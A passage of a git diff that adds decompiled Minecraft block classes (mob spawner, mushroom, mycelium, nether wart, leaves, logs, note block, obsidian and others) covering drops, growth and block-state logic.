+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.melon;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 3 + random.nextInt(5);
+  }
+  
+
+
+
+  public int quantityDroppedWithBonus(int fortune, Random random)
+  {
+    return Math.min(9, quantityDropped(random) + random.nextInt(1 + fortune));
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockMobSpawner.java b/src/minecraft/net/minecraft/block/BlockMobSpawner.java
new file mode 100644
index 0000000..e860690
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockMobSpawner.java
@@ -0,0 +1,83 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.item.Item;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityMobSpawner;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+
+public class BlockMobSpawner extends BlockContainer
+{
+  private static final String __OBFID = "CL_00000269";
+  
+  protected BlockMobSpawner()
+  {
+    super(Material.rock);
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityMobSpawner();
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return null;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    super.dropBlockAsItemWithChance(worldIn, pos, state, chance, fortune);
+    int var6 = 15 + rand.nextInt(15) + rand.nextInt(15);
+    dropXpOnBlockBreak(worldIn, pos, var6);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockMushroom.java b/src/minecraft/net/minecraft/block/BlockMushroom.java
new file mode 100644
index 0000000..245a830
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockMushroom.java
@@ -0,0 +1,129 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.feature.WorldGenBigMushroom;
+
+public class BlockMushroom extends BlockBush implements IGrowable
+{
+  private static final String __OBFID = "CL_00000272";
+  
+  protected BlockMushroom()
+  {
+    float var1 = 0.2F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, var1 * 2.0F, 0.5F + var1);
+    setTickRandomly(true);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (rand.nextInt(25) == 0)
+    {
+      int var5 = 5;
+      boolean var6 = true;
+      Iterator var7 = BlockPos.getAllInBoxMutable(pos.add(-4, -1, -4), pos.add(4, 1, 4)).iterator();
+      
+      while (var7.hasNext())
+      {
+        BlockPos var8 = (BlockPos)var7.next();
+        
+        if (worldIn.getBlockState(var8).getBlock() == this)
+        {
+          var5--;
+          
+          if (var5 <= 0)
+          {
+            return;
+          }
+        }
+      }
+      
+      BlockPos var9 = pos.add(rand.nextInt(3) - 1, rand.nextInt(2) - rand.nextInt(2), rand.nextInt(3) - 1);
+      
+      for (int var10 = 0; var10 < 4; var10++)
+      {
+        if ((worldIn.isAirBlock(var9)) && (canBlockStay(worldIn, var9, getDefaultState())))
+        {
+          pos = var9;
+        }
+        
+        var9 = pos.add(rand.nextInt(3) - 1, rand.nextInt(2) - rand.nextInt(2), rand.nextInt(3) - 1);
+      }
+      
+      if ((worldIn.isAirBlock(var9)) && (canBlockStay(worldIn, var9, getDefaultState())))
+      {
+        worldIn.setBlockState(var9, getDefaultState(), 2);
+      }
+    }
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return (super.canPlaceBlockAt(worldIn, pos)) && (canBlockStay(worldIn, pos, getDefaultState()));
+  }
+  
+
+
+
+  protected boolean canPlaceBlockOn(Block ground)
+  {
+    return ground.isFullBlock();
+  }
+  
+  public boolean canBlockStay(World worldIn, BlockPos p_180671_2_, IBlockState p_180671_3_)
+  {
+    if ((p_180671_2_.getY() >= 0) && (p_180671_2_.getY() < 256))
+    {
+      IBlockState var4 = worldIn.getBlockState(p_180671_2_.offsetDown());
+      return var4.getBlock() == Blocks.mycelium;
+    }
+    
+
+    return false;
+  }
+  
+
+  public boolean func_176485_d(World worldIn, BlockPos p_176485_2_, IBlockState p_176485_3_, Random p_176485_4_)
+  {
+    worldIn.setBlockToAir(p_176485_2_);
+    WorldGenBigMushroom var5 = null;
+    
+    if (this == Blocks.brown_mushroom)
+    {
+      var5 = new WorldGenBigMushroom(0);
+    }
+    else if (this == Blocks.red_mushroom)
+    {
+      var5 = new WorldGenBigMushroom(1);
+    }
+    
+    if ((var5 != null) && (var5.generate(worldIn, p_176485_4_, p_176485_2_)))
+    {
+      return true;
+    }
+    
+
+    worldIn.setBlockState(p_176485_2_, p_176485_3_, 3);
+    return false;
+  }
+  
+
+  public boolean isStillGrowing(World worldIn, BlockPos p_176473_2_, IBlockState p_176473_3_, boolean p_176473_4_)
+  {
+    return true;
+  }
+  
+  public boolean canUseBonemeal(World worldIn, Random p_180670_2_, BlockPos p_180670_3_, IBlockState p_180670_4_)
+  {
+    return p_180670_2_.nextFloat() < 0.4D;
+  }
+  
+  public void grow(World worldIn, Random p_176474_2_, BlockPos p_176474_3_, IBlockState p_176474_4_)
+  {
+    func_176485_d(worldIn, p_176474_3_, p_176474_4_, p_176474_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockMycelium.java b/src/minecraft/net/minecraft/block/BlockMycelium.java
new file mode 100644
index 0000000..51a8c9d
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockMycelium.java
@@ -0,0 +1,100 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockMycelium extends Block
+{
+  public static final PropertyBool SNOWY_PROP = PropertyBool.create("snowy");
+  private static final String __OBFID = "CL_00000273";
+  
+  protected BlockMycelium()
+  {
+    super(Material.grass);
+    setDefaultState(blockState.getBaseState().withProperty(SNOWY_PROP, Boolean.valueOf(false)));
+    setTickRandomly(true);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    Block var4 = worldIn.getBlockState(pos.offsetUp()).getBlock();
+    return state.withProperty(SNOWY_PROP, Boolean.valueOf((var4 == Blocks.snow) || (var4 == Blocks.snow_layer)));
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      if ((worldIn.getLightFromNeighbors(pos.offsetUp()) < 4) && (worldIn.getBlockState(pos.offsetUp()).getBlock().getLightOpacity() > 2))
+      {
+        worldIn.setBlockState(pos, Blocks.dirt.getDefaultState().withProperty(BlockDirt.VARIANT, BlockDirt.DirtType.DIRT));
+
+
+      }
+      else if (worldIn.getLightFromNeighbors(pos.offsetUp()) >= 9)
+      {
+        for (int var5 = 0; var5 < 4; var5++)
+        {
+          BlockPos var6 = pos.add(rand.nextInt(3) - 1, rand.nextInt(5) - 3, rand.nextInt(3) - 1);
+          IBlockState var7 = worldIn.getBlockState(var6);
+          Block var8 = worldIn.getBlockState(var6.offsetUp()).getBlock();
+          
+          if ((var7.getBlock() == Blocks.dirt) && (var7.getValue(BlockDirt.VARIANT) == BlockDirt.DirtType.DIRT) && (worldIn.getLightFromNeighbors(var6.offsetUp()) >= 4) && (var8.getLightOpacity() <= 2))
+          {
+            worldIn.setBlockState(var6, getDefaultState());
+          }
+        }
+      }
+    }
+  }
+  
+
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    super.randomDisplayTick(worldIn, pos, state, rand);
+    
+    if (rand.nextInt(10) == 0)
+    {
+      worldIn.spawnParticle(EnumParticleTypes.TOWN_AURA, pos.getX() + rand.nextFloat(), pos.getY() + 1.1F, pos.getZ() + rand.nextFloat(), 0.0D, 0.0D, 0.0D, new int[0]);
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Blocks.dirt.getItemDropped(Blocks.dirt.getDefaultState().withProperty(BlockDirt.VARIANT, BlockDirt.DirtType.DIRT), rand, fortune);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return 0;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { SNOWY_PROP });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockNetherBrick.java b/src/minecraft/net/minecraft/block/BlockNetherBrick.java
new file mode 100644
index 0000000..ed6e375
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockNetherBrick.java
@@ -0,0 +1,25 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+
+public class BlockNetherBrick extends Block
+{
+  private static final String __OBFID = "CL_00002091";
+  
+  public BlockNetherBrick()
+  {
+    super(Material.rock);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return MapColor.netherrackColor;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockNetherWart.java b/src/minecraft/net/minecraft/block/BlockNetherWart.java
new file mode 100644
index 0000000..4a87f8f
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockNetherWart.java
@@ -0,0 +1,128 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockNetherWart
+  extends BlockBush
+{
+  public static final PropertyInteger AGE_PROP = PropertyInteger.create("age", 0, 3);
+  private static final String __OBFID = "CL_00000274";
+  
+  protected BlockNetherWart()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(AGE_PROP, Integer.valueOf(0)));
+    setTickRandomly(true);
+    float var1 = 0.5F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, 0.25F, 0.5F + var1);
+    setCreativeTab(null);
+  }
+  
+
+
+
+  protected boolean canPlaceBlockOn(Block ground)
+  {
+    return ground == Blocks.soul_sand;
+  }
+  
+  public boolean canBlockStay(World worldIn, BlockPos p_180671_2_, IBlockState p_180671_3_)
+  {
+    return canPlaceBlockOn(worldIn.getBlockState(p_180671_2_.offsetDown()).getBlock());
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    int var5 = ((Integer)state.getValue(AGE_PROP)).intValue();
+    
+    if ((var5 < 3) && (rand.nextInt(10) == 0))
+    {
+      state = state.withProperty(AGE_PROP, Integer.valueOf(var5 + 1));
+      worldIn.setBlockState(pos, state, 2);
+    }
+    
+    super.updateTick(worldIn, pos, state, rand);
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    if (!isRemote)
+    {
+      int var6 = 1;
+      
+      if (((Integer)state.getValue(AGE_PROP)).intValue() >= 3)
+      {
+        var6 = 2 + rand.nextInt(3);
+        
+        if (fortune > 0)
+        {
+          var6 += rand.nextInt(fortune + 1);
+        }
+      }
+      
+      for (int var7 = 0; var7 < var6; var7++)
+      {
+        spawnAsEntity(worldIn, pos, new ItemStack(Items.nether_wart));
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return null;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.nether_wart;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(AGE_PROP, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(AGE_PROP)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { AGE_PROP });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockNetherrack.java b/src/minecraft/net/minecraft/block/BlockNetherrack.java
new file mode 100644
index 0000000..eb8b983
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockNetherrack.java
@@ -0,0 +1,25 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+
+public class BlockNetherrack extends Block
+{
+  private static final String __OBFID = "CL_00000275";
+  
+  public BlockNetherrack()
+  {
+    super(Material.rock);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return MapColor.netherrackColor;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockNewLeaf.java b/src/minecraft/net/minecraft/block/BlockNewLeaf.java
new file mode 100644
index 0000000..1f8ce06
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockNewLeaf.java
@@ -0,0 +1,138 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockNewLeaf extends BlockLeaves
+{
+  public static final PropertyEnum field_176240_P = PropertyEnum.create("variant", BlockPlanks.EnumType.class, new Predicate()
+  {
+    private static final String __OBFID = "CL_00002090";
+    
+    public boolean func_180195_a(BlockPlanks.EnumType p_180195_1_) {
+      return p_180195_1_.func_176839_a() >= 4;
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180195_a((BlockPlanks.EnumType)p_apply_1_);
+    }
+  });
+  
+
+
+
+
+
+  private static final String __OBFID = "CL_00000276";
+  
+
+
+
+
+
+  public BlockNewLeaf()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(field_176240_P, BlockPlanks.EnumType.ACACIA).withProperty(field_176236_b, Boolean.valueOf(true)).withProperty(field_176237_a, Boolean.valueOf(true)));
+  }
+  
+  protected void func_176234_a(World worldIn, BlockPos p_176234_2_, IBlockState p_176234_3_, int p_176234_4_)
+  {
+    if ((p_176234_3_.getValue(field_176240_P) == BlockPlanks.EnumType.DARK_OAK) && (rand.nextInt(p_176234_4_) == 0))
+    {
+      spawnAsEntity(worldIn, p_176234_2_, new ItemStack(Items.apple, 1, 0));
+    }
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((BlockPlanks.EnumType)state.getValue(field_176240_P)).func_176839_a();
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    IBlockState var3 = worldIn.getBlockState(pos);
+    return var3.getBlock().getMetaFromState(var3) & 0x3;
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(itemIn, 1, 0));
+    list.add(new ItemStack(itemIn, 1, 1));
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    return new ItemStack(Item.getItemFromBlock(this), 1, ((BlockPlanks.EnumType)state.getValue(field_176240_P)).func_176839_a() - 4);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176240_P, func_176233_b(meta)).withProperty(field_176237_a, Boolean.valueOf((meta & 0x4) == 0)).withProperty(field_176236_b, Boolean.valueOf((meta & 0x8) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((BlockPlanks.EnumType)state.getValue(field_176240_P)).func_176839_a() - 4;
+    
+    if (!((Boolean)state.getValue(field_176237_a)).booleanValue())
+    {
+      var3 |= 0x4;
+    }
+    
+    if (((Boolean)state.getValue(field_176236_b)).booleanValue())
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  public BlockPlanks.EnumType func_176233_b(int p_176233_1_)
+  {
+    return BlockPlanks.EnumType.func_176837_a((p_176233_1_ & 0x3) + 4);
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176240_P, field_176236_b, field_176237_a });
+  }
+  
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    if ((!isRemote) && (playerIn.getCurrentEquippedItem() != null) && (playerIn.getCurrentEquippedItem().getItem() == Items.shears))
+    {
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.mineBlockStatArray[Block.getIdFromBlock(this)]);
+      spawnAsEntity(worldIn, pos, new ItemStack(Item.getItemFromBlock(this), 1, ((BlockPlanks.EnumType)state.getValue(field_176240_P)).func_176839_a() - 4));
+    }
+    else
+    {
+      super.harvestBlock(worldIn, playerIn, pos, state, te);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockNewLog.java b/src/minecraft/net/minecraft/block/BlockNewLog.java
new file mode 100644
index 0000000..88b4875
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockNewLog.java
@@ -0,0 +1,159 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.List;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+
+public class BlockNewLog extends BlockLog
+{
+  public static final PropertyEnum field_176300_b = PropertyEnum.create("variant", BlockPlanks.EnumType.class, new Predicate()
+  {
+    private static final String __OBFID = "CL_00002089";
+    
+    public boolean func_180194_a(BlockPlanks.EnumType p_180194_1_) {
+      return p_180194_1_.func_176839_a() >= 4;
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180194_a((BlockPlanks.EnumType)p_apply_1_);
+    }
+  });
+  
+
+
+
+
+
+  private static final String __OBFID = "CL_00000277";
+  
+
+
+
+
+
+  public BlockNewLog()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(field_176300_b, BlockPlanks.EnumType.ACACIA).withProperty(AXIS_PROP, BlockLog.EnumAxis.Y));
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.ACACIA.func_176839_a() - 4));
+    list.add(new ItemStack(itemIn, 1, BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4));
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    IBlockState var2 = getDefaultState().withProperty(field_176300_b, BlockPlanks.EnumType.func_176837_a((meta & 0x3) + 4));
+    
+    switch (meta & 0xC)
+    {
+    case 0: 
+      var2 = var2.withProperty(AXIS_PROP, BlockLog.EnumAxis.Y);
+      break;
+    
+    case 4: 
+      var2 = var2.withProperty(AXIS_PROP, BlockLog.EnumAxis.X);
+      break;
+    
+    case 8: 
+      var2 = var2.withProperty(AXIS_PROP, BlockLog.EnumAxis.Z);
+      break;
+    
+    default: 
+      var2 = var2.withProperty(AXIS_PROP, BlockLog.EnumAxis.NONE);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((BlockPlanks.EnumType)state.getValue(field_176300_b)).func_176839_a() - 4;
+    
+    switch (SwitchEnumAxis.field_180191_a[((BlockLog.EnumAxis)state.getValue(AXIS_PROP)).ordinal()])
+    {
+    case 1: 
+      var3 |= 0x4;
+      break;
+    
+    case 2: 
+      var3 |= 0x8;
+      break;
+    
+    case 3: 
+      var3 |= 0xC;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176300_b, AXIS_PROP });
+  }
+  
+  protected ItemStack createStackedBlock(IBlockState state)
+  {
+    return new ItemStack(Item.getItemFromBlock(this), 1, ((BlockPlanks.EnumType)state.getValue(field_176300_b)).func_176839_a() - 4);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((BlockPlanks.EnumType)state.getValue(field_176300_b)).func_176839_a() - 4;
+  }
+  
+  static final class SwitchEnumAxis
+  {
+    static final int[] field_180191_a = new int[BlockLog.EnumAxis.values().length];
+    private static final String __OBFID = "CL_00002088";
+    
+    static
+    {
+      try
+      {
+        field_180191_a[BlockLog.EnumAxis.X.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_180191_a[BlockLog.EnumAxis.Z.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_180191_a[BlockLog.EnumAxis.NONE.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+    }
+    
+    SwitchEnumAxis() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockNote.java b/src/minecraft/net/minecraft/block/BlockNote.java
new file mode 100644
index 0000000..2bf1b84
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockNote.java
@@ -0,0 +1,118 @@
+package net.minecraft.block;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityNote;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class BlockNote extends BlockContainer
+{
+  private static final List field_176434_a = Lists.newArrayList(new String[] { "harp", "bd", "snare", "hat", "bassattack" });
+  private static final String __OBFID = "CL_00000278";
+  
+  public BlockNote()
+  {
+    super(Material.wood);
+    setCreativeTab(CreativeTabs.tabRedstone);
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    boolean var5 = worldIn.isBlockPowered(pos);
+    TileEntity var6 = worldIn.getTileEntity(pos);
+    
+    if ((var6 instanceof TileEntityNote))
+    {
+      TileEntityNote var7 = (TileEntityNote)var6;
+      
+      if (previousRedstoneState != var5)
+      {
+        if (var5)
+        {
+          var7.func_175108_a(worldIn, pos);
+        }
+        
+        previousRedstoneState = var5;
+      }
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    TileEntity var9 = worldIn.getTileEntity(pos);
+    
+    if ((var9 instanceof TileEntityNote))
+    {
+      TileEntityNote var10 = (TileEntityNote)var9;
+      var10.changePitch();
+      var10.func_175108_a(worldIn, pos);
+    }
+    
+    return true;
+  }
+  
+
+  public void onBlockClicked(World worldIn, BlockPos pos, EntityPlayer playerIn)
+  {
+    if (!isRemote)
+    {
+      TileEntity var4 = worldIn.getTileEntity(pos);
+      
+      if ((var4 instanceof TileEntityNote))
+      {
+        ((TileEntityNote)var4).func_175108_a(worldIn, pos);
+      }
+    }
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityNote();
+  }
+  
+  private String func_176433_b(int p_176433_1_)
+  {
+    if ((p_176433_1_ < 0) || (p_176433_1_ >= field_176434_a.size()))
+    {
+      p_176433_1_ = 0;
+    }
+    
+    return (String)field_176434_a.get(p_176433_1_);
+  }
+  
+
+
+
+  public boolean onBlockEventReceived(World worldIn, BlockPos pos, IBlockState state, int eventID, int eventParam)
+  {
+    float var6 = (float)Math.pow(2.0D, (eventParam - 12) / 12.0D);
+    worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "note." + func_176433_b(eventID), 3.0F, var6);
+    worldIn.spawnParticle(EnumParticleTypes.NOTE, pos.getX() + 0.5D, pos.getY() + 1.2D, pos.getZ() + 0.5D, eventParam / 24.0D, 0.0D, 0.0D, new int[0]);
+    return true;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockObsidian.java b/src/minecraft/net/minecraft/block/BlockObsidian.java
new file mode 100644
index 0000000..908493c
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockObsidian.java
@@ -0,0 +1,38 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+
+public class BlockObsidian extends Block
+{
+  private static final String __OBFID = "CL_00000279";
+  
+  public BlockObsidian()
+  {
+    super(Material.rock);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(Blocks.obsidian);
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return MapColor.obsidianColor;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockOldLeaf.java b/src/minecraft/net/minecraft/block/BlockOldLeaf.java
new file mode 100644
index 0000000..99731b1
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockOldLeaf.java
@@ -0,0 +1,176 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.ColorizerFoliage;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockOldLeaf extends BlockLeaves
+{
+  public static final PropertyEnum VARIANT_PROP = PropertyEnum.create("variant", BlockPlanks.EnumType.class, new Predicate()
+  {
+    private static final String __OBFID = "CL_00002085";
+    
+    public boolean func_180202_a(BlockPlanks.EnumType p_180202_1_) {
+      return p_180202_1_.func_176839_a() < 4;
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_180202_a((BlockPlanks.EnumType)p_apply_1_);
+    }
+  });
+  
+
+
+
+
+
+  private static final String __OBFID = "CL_00000280";
+  
+
+
+
+
+
+  public BlockOldLeaf()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT_PROP, BlockPlanks.EnumType.OAK).withProperty(field_176236_b, Boolean.valueOf(true)).withProperty(field_176237_a, Boolean.valueOf(true)));
+  }
+  
+  public int getRenderColor(IBlockState state)
+  {
+    if (state.getBlock() != this)
+    {
+      return super.getRenderColor(state);
+    }
+    
+
+    BlockPlanks.EnumType var2 = (BlockPlanks.EnumType)state.getValue(VARIANT_PROP);
+    return var2 == BlockPlanks.EnumType.BIRCH ? ColorizerFoliage.getFoliageColorBirch() : var2 == BlockPlanks.EnumType.SPRUCE ? ColorizerFoliage.getFoliageColorPine() : super.getRenderColor(state);
+  }
+  
+
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    IBlockState var4 = worldIn.getBlockState(pos);
+    
+    if (var4.getBlock() == this)
+    {
+      BlockPlanks.EnumType var5 = (BlockPlanks.EnumType)var4.getValue(VARIANT_PROP);
+      
+      if (var5 == BlockPlanks.EnumType.SPRUCE)
+      {
+        return ColorizerFoliage.getFoliageColorPine();
+      }
+      
